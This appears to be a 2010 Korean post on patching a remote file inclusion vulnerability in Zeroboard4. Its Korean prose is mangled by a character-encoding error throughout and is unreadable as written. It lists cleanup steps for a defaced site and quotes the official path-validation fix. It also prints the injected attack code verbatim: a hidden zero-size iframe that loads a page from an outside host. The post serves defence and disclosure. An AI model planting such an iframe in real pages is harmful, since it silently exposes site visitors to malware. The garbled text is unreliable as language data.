2010³â 12¿ù 22ÀÏ RFI Ãë¾àÁ¡ º¸¾È ÆÐÄ¡
1. bbs/icon Æú´õ¿¡ »ý¼ºµÈ group_qazwsxedc.jpg, visitLog.php ÆÄÀÏ »èÁ¦
2. html, php ÆÄÀÏ¿¡ »ðÀÔµÈ iframe ¼Ò½º »èÁ¦
3. °ü¸®ÀÚ ÆäÀÌÁö¸¦ ÅëÇØ qazwsxedc ±×·ì »èÁ¦
4. Á¦·Îº¸µå¼³Ä¡Æú´õ/_head.php ÆÄÀÏÀÇ 13¹ø° ÁÙ ¼Ò½º º¯°æ(°ø½Ä º¸¾È ÆÐÄ¡ ÆäÀÌÁö Âü°í)
5. Á¦·Îº¸µå¼³Ä¡Æú´õ/skin/zero_vote/ask_password.php / error.php / login.php ÆÄÀÏÀÇ 2¹ø° ÁÙ ¼Ò½º °¢°¢ º¯°æ(°ø½Ä º¸¾È ÆÐÄ¡ ÆäÀÌÁö Âü°í)
¡Ø Á¦·Îº¸µå °ø½Ä º¸¾È ÆÐÄ¡
http://www.xpressengine.com/zb4_security/19346851
Á¦·Îº¸µå4 pl9 ¹öÀü¿¡¼ RFI (¿ø°ÝÆÄÀÏ ÀÎŬ·çµå) Ãë¾àÁ¡ÀÌ ¹ß°ßµÇ¾ú½À´Ï´Ù.
Àå°æĨ´Ô²²¼ Á¦º¸ÇØÁֽŠ³»¿ëÀÔ´Ï´Ù.
_head.php ÆÄÀÏ°ú skin/zero_vote/*.php ÆÄÀÏ¿¡ ´ëÇØ ¾Æ·¡ ³»¿ëÀ¸·Î ÄÚµå ¼öÁ¤À» ÅëÇÑ ÆÐÄ¡¸¦ ±Çµå¸³´Ï´Ù.
_head.php
[¼öÁ¤Àü]
_head.php
view sourceprint?13.if(eregi(":\/\/",$_zb_path)||eregi("\.\.",$_zb_path)||eregi("^\/",$_zb_path)||eregi("data:;",$_zb_path)) $_zb_path ="./";
[¼öÁ¤ÈÄ]
_head.php: ¹®ÀÚ°¡ $_zb_path¿¡ Æ÷ÇÔµÇÁö ¾Êµµ·Ï ¼öÁ¤
view sourceprint?13.if(eregi(":\/\/",$_zb_path)||eregi("\.\.",$_zb_path)||eregi("^\/",$_zb_path)||eregi("data:;",$_zb_path)||eregi(":",$_zb_path)) $_zb_path ="./";
skin/zero_vote/ µð·ºÅ丮ÀÇ ¾Æ·¡¿¡ ÇØ´çµÇ´Â .php ÆÄÀÏ
- ask_password.php
- error.php
- login.php
[¼öÁ¤Àü]
./skin/zero_vote/ask_password.php, error.php, login.php
view sourceprint?2.if(eregi(":\/\/",$dir)||eregi("\.\.",$dir)||eregi("^\/",$dir)||eregi("data:;",$dir)) $dir ="./";
[¼öÁ¤ÈÄ]
./skin/zero_vote/ask_password.php, error.php, login.php
view sourceprint?2.if(eregi(":\/\/",$dir)||eregi("\.\.",$dir)||eregi("^\/",$dir)||eregi("data:;",$dir)||eregi(":",$dir)) $dir ="./";
--------------------------------------------------------------------------------------------
À̹ø´Þ Áß¼ø °æºÎÅÍ ¾Ç¼º À¥º¯Á¶°¡ ÀÖ¾ú½À´Ï´Ù.
Á¦ »çÀÌÆ®µµ ¹°·Ð ´çÇß±¸¿ä.
Áõ»óÀº main°ú index¸¦ Æ÷ÇÔÇÑ .html .php ÆÄÀÏ ÇÏ´Ü¿¡ ¾Æ·¡ ¾Ç¼ºÄڵ尡 ½É¾îÁý´Ï´Ù.
<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>
Àú °°Àº °æ¿ì config.php lib.php ÆÄÀÏ¿¡µµ iframe »ðÀÔ µÇ¾î ÀÖ¾ú½À´Ï´Ù.
±×¸®°í, bbs/icon Æú´õ¿¡ group_qazwsxedc.jpg, visitLog.php ÆÄÀÏÀÌ »ý¼ºµÇ±¸¿ä.
¡Ú data Æú´õ¿¡´Â visitLog.php ÆÄÀϸ¸ »ý¼ºµÇ¾î ÀÖ¾ú±¸¿ä.
¶ÇÇÑ ÃÖ°í°ü¸®ÀÚ ·Î±×ÀÎ ÈÄ ±×·ìº° Çì´õ ÀÎÅ©·çµå ºÎºÐ¿¡¼ iframe űװ¡ »ðÀÔÀÌ µÊ´Ï´Ù.
¾Ç¼ºÄڵ尡 ½É¾îÁø »çÀÌÆ® Á¢¼ÓÇÏ¸é ¹«ÇѷεùÀ̳ª ÀúÁú·Îµù(^^;) ¶Ç´Â ¹ÙÀÌ·¯½º °¨ÁöµÊ´Ï´Ù.
±×Àü¿¡ ÆÐÄ¡ ÇØÁÖ¸é ÁÁ°ÚÁÒ..^^
Âü°í·Î Á¦·Îº¸µå4¿¡¸¸ ÇØ´çµÊ´Ï´Ù. |
|